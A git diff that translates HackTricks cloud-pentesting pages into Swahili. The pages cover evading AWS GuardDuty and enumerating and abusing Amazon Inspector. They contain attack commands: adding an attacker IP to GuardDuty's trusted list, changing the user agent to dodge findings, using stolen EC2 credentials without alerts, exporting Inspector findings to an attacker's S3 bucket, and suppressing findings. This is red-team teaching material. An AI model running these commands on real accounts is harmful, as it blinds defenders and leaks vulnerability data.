by adding their IP address to it and avoid generating alerts. - +Wavamizi wenye mamlaka za awali wanaweza kubadilisha [**Orodha ya IP za Kuaminika**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) ya GuardDuty kwa kuongeza anwani yao ya IP na kuepuka kuzalisha arifa. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` - #### `guardduty:DeletePublishingDestination` -Attackers could remove the destination to prevent alerting: - +Washambuliaji wanaweza kuondoa eneo la kuchapisha ili kuzuia arifa: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` - > [!CAUTION] -> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings. +> Kufuta eneo hili la uchapishaji **hakutakuwa na athari kwa uzalishaji au mwonekano wa matokeo ndani ya konsoli ya GuardDuty**. GuardDuty itaendelea kuchambua matukio katika mazingira yako ya AWS, kubaini tabia za kushangaza au zisizotarajiwa, na kuzalisha matokeo. -### Specific Findings Bypass Examples +### Mifano Maalum ya Kupita Matokeo -Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught. +Kumbuka kuwa kuna matokeo kumi za GuardDuty, hata hivyo, **kama Red Teamer si yote yatakayoathiri wewe**, na bora zaidi, una **nyaraka kamili za kila moja yao** katika [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) hivyo angalia kabla ya kuchukua hatua yoyote ili usikamatwe. -Here you have a couple of examples of specific GuardDuty findings bypasses: +Hapa kuna mifano kadhaa ya kupita matokeo maalum ya GuardDuty: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -It's detected by the **user agent name** that is passed in the API request.\ -Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack. +GuardDuty inagundua maombi ya API ya AWS kutoka kwa zana za kawaida za kupenya na kuanzisha [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ +Inagunduliwa na **jina la wakala wa mtumiaji** ambalo linapitishwa katika ombi la API.\ +Hivyo, **kubadilisha wakala wa mtumiaji** inawezekana kuzuia GuardDuty kugundua shambulio. -To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering. +Ili kuzuia hili unaweza kutafuta kutoka kwenye script `session.py` katika pakiti ya `botocore` na kubadilisha wakala wa mtumiaji, au kuweka Burp Suite kama proxy ya AWS CLI na kubadilisha wakala wa mtumiaji kwa MitM au tumia OS kama Ubuntu, Mac au Windows itazuia kengele hii kutokea. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert. +Kutoa akreditif za EC2 kutoka kwa huduma ya metadata na **kuzitumia nje** ya mazingira ya AWS kunasababisha kengele ya [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Kinyume chake, kutumia akreditif hizi kutoka kwa mfano wako wa EC2 kunasababisha kengele ya [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Hata hivyo, **kutumia akreditif kwenye mfano mwingine wa EC2 ulioathiriwa ndani ya akaunti hiyo hiyo hakugunduliwi**, hakusababisha kengele yoyote. > [!TIP] -> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert. +> Hivyo, **tumia akreditif zilizopatikana kutoka ndani ya mashine** ambapo ulizipata ili usisababisha kengele hii. -## References +## Marejeo - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) @@ -191,7 +181,3 @@ Extracting EC2 credentials from the metadata service and **utilizing them outsid - [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 655b81fa7..3c30c4c92 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,53 +6,53 @@ ### Inspector -Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management. +Amazon Inspector ni huduma ya usimamizi wa udhaifu wa hali ya juu, iliyotengenezwa kiotomatiki ili kuboresha usalama wa mazingira yako ya AWS. Huduma hii inafanya skanning mara kwa mara ya mifano ya Amazon EC2, picha za kontena katika Amazon ECR, Amazon ECS, na kazi za AWS Lambda kwa udhaifu na kufichuliwa kwa mtandao bila kukusudia. Kwa kutumia hifadhidata yenye nguvu ya uelewa wa udhaifu, Amazon Inspector inatoa matokeo ya kina, ikiwa ni pamoja na viwango vya ukali na mapendekezo ya kurekebisha, ikisaidia mashirika kutambua na kushughulikia hatari za usalama kwa njia ya proaktiki. Njia hii ya kina inahakikisha msimamo thabiti wa usalama katika huduma mbalimbali za AWS, ikisaidia katika kufuata sheria na usimamizi wa hatari. ### Key elements #### Findings -Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as: +Matokeo katika Amazon Inspector ni ripoti za kina kuhusu udhaifu na kufichuliwa kwa mtandao yaliyogunduliwa wakati wa skanning ya mifano ya EC2, hifadhi za ECR, au kazi za Lambda. Kulingana na hali yake, matokeo yanagawanywa kama: -- **Active**: The finding has not been remediated. -- **Closed**: The finding has been remediated. -- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**. +- **Active**: Matokeo hayajarekebishwa. +- **Closed**: Matokeo yamekamilishwa. +- **Suppressed**: Matokeo yamewekwa katika hali hii kutokana na moja au zaidi ya **sheria za kukandamiza**. -Findings are also categorized into the next three types: +Matokeo pia yanagawanywa katika aina tatu zifuatazo: -- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues. -- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches. -- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups. +- **Package**: Matokeo haya yanahusiana na udhaifu katika pakiti za programu zilizowekwa kwenye rasilimali zako. Mifano ni pamoja na maktaba za zamani au utegemezi zenye matatizo ya usalama yanayojulikana. +- **Code**: Kategoria hii inajumuisha udhaifu ulio katika msimbo wa programu zinazotembea kwenye rasilimali zako za AWS. Masuala ya kawaida ni makosa ya uandishi wa msimbo au mbinu zisizo salama ambazo zinaweza kusababisha uvunjaji wa usalama. +- **Network**: Matokeo ya mtandao yanatambua kufichuliwa kwa uwezekano katika usanidi wa mtandao ambao unaweza kutumiwa na washambuliaji. Hizi ni pamoja na bandari wazi, protokali za mtandao zisizo salama, na vikundi vya usalama vilivyopangwa vibaya. #### Filters and Suppression Rules -Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues. +Filters na sheria za kukandamiza katika Amazon Inspector husaidia kusimamia na kuweka kipaumbele matokeo. Filters zinakuruhusu kuboresha matokeo kulingana na vigezo maalum, kama vile ukali au aina ya rasilimali. Sheria za kukandamiza zinakuruhusu kukandamiza matokeo fulani ambayo yanachukuliwa kuwa hatari ndogo, tayari yamepunguziliwa, au kwa sababu nyingine muhimu, kuzuia kujaa kwa ripoti zako za usalama na kukuruhusu kuzingatia masuala muhimu zaidi. #### Software Bill of Materials (SBOM) -A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components. +Software Bill of Materials (SBOM) katika Amazon Inspector ni orodha ya hesabu ya ndani inayoweza kusafirishwa inayofafanua vipengele vyote ndani ya pakiti ya programu, ikiwa ni pamoja na maktaba na utegemezi. SBOM husaidia kutoa uwazi katika mnyororo wa usambazaji wa programu, ikiruhusu usimamizi bora wa udhaifu na kufuata sheria. Ni muhimu katika kutambua na kupunguza hatari zinazohusiana na vipengele vya programu za chanzo wazi na za wahusika wengine. ### Key features #### Export findings -Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status. +Amazon Inspector inatoa uwezo wa kusafirisha matokeo kwa Amazon S3 Buckets, Amazon EventBridge na AWS Security Hub, ambayo inakuruhusu kuunda ripoti za kina za udhaifu na kufichuliwa kwa mtandao zilizotambuliwa kwa uchambuzi zaidi au kushiriki kwa tarehe na wakati maalum. Kipengele hiki kinaunga mkono muundo mbalimbali wa matokeo kama vile CSV na JSON, na kufanya iwe rahisi kuunganishwa na zana na mifumo mingine. Uwezo wa kusafirisha unaruhusu kubadilisha data iliyojumuishwa katika ripoti, ikikuruhusu kuchuja matokeo kulingana na vigezo maalum kama vile ukali, aina ya rasilimali, au kipindi cha tarehe na ikiwa kwa default inajumuisha matokeo yako yote katika Kanda ya AWS ya sasa yenye hali ya Active. -When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information. +Wakati wa kusafirisha matokeo, funguo za Key Management Service (KMS) zinahitajika ili kuficha data wakati wa usafirishaji. Funguo za KMS zinahakikisha kuwa matokeo yaliyosafirishwa yanapewa ulinzi dhidi ya ufikiaji usioidhinishwa, na kutoa safu ya ziada ya usalama kwa taarifa nyeti za udhaifu. #### Amazon EC2 instances scanning -Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account. +Amazon Inspector inatoa uwezo mzuri wa skanning kwa mifano ya Amazon EC2 ili kugundua udhaifu na masuala ya usalama. Inspector ililinganisha metadata iliyochukuliwa kutoka kwa mfano wa EC2 dhidi ya sheria kutoka kwa taarifa za usalama ili kutoa udhaifu wa pakiti na masuala ya upatikanaji wa mtandao. Skanning hizi zinaweza kufanywa kupitia **agent-based** au **agentless** mbinu, kulingana na usanidi wa **scan mode** wa akaunti yako. -- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance. -- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning. +- **Agent-Based**: Inatumia wakala wa AWS Systems Manager (SSM) kufanya skanning za kina. Mbinu hii inaruhusu ukusanyaji wa data wa kina na uchambuzi moja kwa moja kutoka kwa mfano. +- **Agentless**: Inatoa mbadala mwepesi ambao hauhitaji kufunga wakala kwenye mfano, kuunda picha ya EBS ya kila kiasi cha mfano wa EC2, kutafuta udhaifu, na kisha kuifuta; ikitumia miundombinu iliyopo ya AWS kwa skanning. -The scan mode determines which method will be used to perform EC2 scans: +Msimamo wa skanning unamua ni mbinu ipi itatumika kufanya skanning za EC2: -- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection. -- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless. +- **Agent-Based**: Inahusisha kufunga wakala wa SSM kwenye mifano ya EC2 kwa ukaguzi wa kina. +- **Hybrid Scanning**: Inachanganya mbinu za agent-based na agentless ili kuongeza ufuatiliaji na kupunguza athari za utendaji. Katika mifano ya EC2 ambapo wakala wa SSM umewekwa, Inspector itafanya skanning ya agent-based, na kwa wale ambapo hakuna wakala wa SSM, skanning itakayofanywa itakuwa agentless. -Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10: +Kipengele kingine muhimu ni **ukaguzi wa kina** kwa mifano ya EC2 Linux. Kipengele hiki kinatoa uchambuzi wa kina wa programu na usanidi wa mifano ya EC2 Linux, ikitoa tathmini za kina za udhaifu, ikiwa ni pamoja na udhaifu wa mfumo wa uendeshaji, udhaifu wa programu, na mipangilio isiyo sahihi, kuhakikisha tathmini ya usalama ya kina. Hii inapatikana kupitia ukaguzi wa **njia maalum** na kila moja ya saraka zake za ndani. Kwa default, Amazon Inspector itafanya skanning ya yafuatayo, lakini kila akaunti ya mwanachama inaweza kufafanua hadi njia 5 zaidi maalum, na kila msimamizi aliyeteuliwa hadi 10: - `/usr/lib` - `/usr/lib64` @@ -61,28 +61,27 @@ Another important feature is the **deep inspection** for EC2 Linux instances. Th #### Amazon ECR container images scanning -Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently. +Amazon Inspector inatoa uwezo mzuri wa skanning kwa picha za kontena za Amazon Elastic Container Registry (ECR), kuhakikisha kuwa udhaifu wa pakiti unagundulika na kusimamiwa kwa ufanisi. -- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans. -- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues. +- **Basic Scanning**: Hii ni skanning ya haraka na nyepesi inayotambua udhaifu wa pakiti za OS zinazojulikana katika picha za kontena kwa kutumia seti ya kawaida ya sheria kutoka mradi wa chanzo wazi wa Clair. Kwa usanidi huu wa skanning, hifadhi zako zitasafirishwa wakati wa kupakia, au kufanya skanning za mikono. +- **Enhanced Scanning**: Chaguo hili linaongeza kipengele cha skanning endelevu pamoja na skanning wakati wa kupakia. Skanning iliyoboreshwa inaingia kwa undani katika tabaka za kila picha ya kontena ili kutambua udhaifu katika pakiti za OS na katika pakiti za lugha za programu kwa usahihi zaidi. Inachambua picha ya msingi na tabaka zozote za ziada, ikitoa mtazamo wa kina wa masuala ya usalama yanayoweza kutokea. #### Amazon Lambda functions scanning -Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions: +Amazon Inspector inajumuisha uwezo wa skanning wa kina kwa kazi za AWS Lambda na tabaka zake, kuhakikisha usalama na uadilifu wa programu zisizo na seva. Inspector inatoa aina mbili za skanning kwa kazi za Lambda: -- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding. -- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues. +- **Lambda standard scanning**: Kipengele hiki cha default kinatambua udhaifu wa programu katika utegemezi wa pakiti za programu zilizoongezwa kwenye kazi yako ya Lambda na tabaka. Kwa mfano, ikiwa kazi yako inatumia toleo la maktaba kama python-jwt lenye udhaifu unaojulikana, inazalisha matokeo. +- **Lambda code scanning**: Inachambua msimbo wa programu maalum kwa masuala ya usalama, ikitambua udhaifu kama vile kasoro za kuingiza, kufichuliwa kwa data, cryptography dhaifu, na ukosefu wa usimbaji. Inakamata vipande vya msimbo vinavyoonyesha udhaifu ulio gundulika, kama vile akidi za siri zilizowekwa kwa nguvu. Matokeo yanajumuisha mapendekezo ya kina ya kurekebisha na vipande vya msimbo vya kutatua masuala. #### **Center for Internet Security (CIS) scans** -Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines. +Amazon Inspector inajumuisha skanning za CIS ili kupima mifumo ya uendeshaji ya mifano ya Amazon EC2 dhidi ya mapendekezo bora kutoka Kituo cha Usalama wa Mtandao (CIS). Skanning hizi zinahakikisha usanidi unafuata viwango vya usalama vya viwanda. -- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title. -- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules. -- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance. +- **Configuration**: Skanning za CIS zinakadiria ikiwa usanidi wa mfumo unakidhi mapendekezo maalum ya CIS Benchmark, huku kila ukaguzi ukiunganishwa na kitambulisho cha ukaguzi wa CIS na kichwa. +- **Execution**: Skanning zinafanywa au kupanga kulingana na lebo za mfano na ratiba zilizofafanuliwa. +- **Results**: Matokeo baada ya skanning yanaonyesha ni ukaguzi gani ulipita, uliachwa, au ulifeli, na kutoa mwanga juu ya msimamo wa usalama wa kila mfano. ### Enumeration - ```bash # Administrator and member accounts # @@ -111,7 +110,7 @@ aws inspector2 list-findings aws inspector2 batch-get-finding-details --finding-arns ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this) aws inspector2 list-finding-aggregations --aggregation-type [--account-ids ] +| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids ] ## Retrieve code snippet information about one or more specified code vulnerability findings aws inspector2 batch-get-code-snippet --finding-arns ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this) @@ -183,113 +182,99 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` - ### Post Exploitation > [!TIP] -> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers. +> Kutoka kwa mtazamo wa mshambuliaji, huduma hii inaweza kumsaidia mshambuliaji kupata udhaifu na kufichuliwa kwa mtandao ambayo inaweza kumsaidia kuathiri mifano/containers mingine. > -> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones). +> Hata hivyo, mshambuliaji anaweza pia kuwa na hamu ya kuharibu huduma hii ili mwathirika asiweze kuona udhaifu (yote au maalum). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks. - +Mshambuliaji anaweza kuunda ripoti za kina za udhaifu au muswada wa vifaa vya programu (SBOMs) na kuzitoa kutoka kwa mazingira yako ya AWS. Taarifa hii inaweza kutumika kubaini udhaifu maalum, programu zisizosasishwa, au utegemezi usio salama, ikiruhusu mashambulizi yaliyolengwa. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` - -The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key: - -1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector: - +1. **Unda Amazon S3 Bucket** na uambatishe sera ili iweze kufikiwa kutoka kwa mwathirika Amazon Inspector: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "allow-inspector", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], - "Resource": "arn:aws:s3:::inspector-findings/*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - }, - "ArnLike": { - "aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "allow-inspector", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], +"Resource": "arn:aws:s3:::inspector-findings/*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +}, +"ArnLike": { +"aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" +} +} +} +] } ``` - -2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victimā€™s Amazon Inspector: - +2. **Unda funguo ya Amazon KMS** na uambatishe sera ili iweze kutumika na Amazon Inspector ya mwathirika: ```json { - "Version": "2012-10-17", - "Id": "key-policy", - "Statement": [ - { - ... - }, - { - "Sid": "Allow victim Amazon Inspector to use the key", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-policy", +"Statement": [ +{ +... +}, +{ +"Sid": "Allow victim Amazon Inspector to use the key", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +} +} +} +] } ``` - -3. Execute the command to **create the findings report** exfiltrating it: - +3. Tekeleza amri ya **kuunda ripoti ya matokeo** kwa kuhamasisha: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` - -- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses. +- **Madhara Yanayoweza Kutokea**: Uundaji na uhamasishaji wa ripoti za udhaifu na programu, kupata maarifa kuhusu udhaifu maalum na mapungufu ya usalama. #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues. - +Mshambuliaji anaweza kufuta uundaji wa ripoti ya matokeo iliyotajwa au ripoti ya SBOM, kuzuia timu za usalama kupokea taarifa za wakati kuhusu udhaifu na bili ya vifaa vya programu (SBOMs), kuchelewesha kugundua na kurekebisha masuala ya usalama. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` - -- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues. +- **Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ufuatiliaji wa usalama na kuzuia kugunduliwa na kurekebishwa kwa masuala ya usalama kwa wakati. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response. - +Mshambuliaji mwenye ruhusa hizi angeweza kubadilisha sheria za kuchuja ambazo zinatambulisha ni udhaifu gani na masuala ya usalama yanayoripotiwa au kufichwa (ikiwa **kitendo** kimewekwa kuwa SUPPRESS, sheria ya kuficha itaundwa). Hii inaweza kuficha udhaifu muhimu kutoka kwa wasimamizi wa usalama, na kufanya iwe rahisi kutumia udhaifu hizi bila kugunduliwa. Kwa kubadilisha au kuondoa filters muhimu, mshambuliaji pia angeweza kuunda kelele kwa kujaa mfumo na matokeo yasiyo na maana, na kuzuia ufuatiliaji wa usalama na majibu kuwa na ufanisi. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -298,93 +283,78 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` - -- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings. +- **Madhara Yanayoweza Kutokea**: Kuficha au kuzuiya udhaifu muhimu, au kujaa mfumo na matokeo yasiyo na maana. #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) -An attacker could significantly disrupt the security management structure. +Mshambuliaji anaweza kuharibu kwa kiasi kikubwa muundo wa usimamizi wa usalama. -- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports. -- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities. +- Kwa kuzima akaunti ya msimamizi aliyepewa, mshambuliaji anaweza kuzuia timu ya usalama kufikia na kusimamia mipangilio na ripoti za Amazon Inspector. +- Kuwezesha akaunti ya msimamizi isiyoidhinishwa kutaruhusu mshambuliaji kudhibiti mipangilio ya usalama, huenda akazima skana au kubadilisha mipangilio ili kuficha shughuli mbaya. > [!WARNING] -> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator. +> Inahitajika kwa akaunti isiyoidhinishwa kuwa katika Shirika moja na mwathirika ili kuwa msimamizi aliyepewa. > -> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** - +> Ili akaunti isiyoidhinishwa iweze kuwa msimamizi aliyepewa, inahitajika pia kwamba baada ya msimamizi halali aliyepewa kuzimwa, na kabla ya akaunti isiyoidhinishwa kuwezeshwa kama msimamizi aliyepewa, msimamizi halali lazima aondolewe kama msimamizi aliyepewa kutoka shirika. Hii inaweza kufanywa kwa amri ifuatayo (**`organizations:DeregisterDelegatedAdministrator`** ruhusa inahitajika): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` - -- **Potential Impact**: Disruption of the security management. +- **Madhara Yanayoweza Kutokea**: Kuingiliwa kwa usimamizi wa usalama. #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which 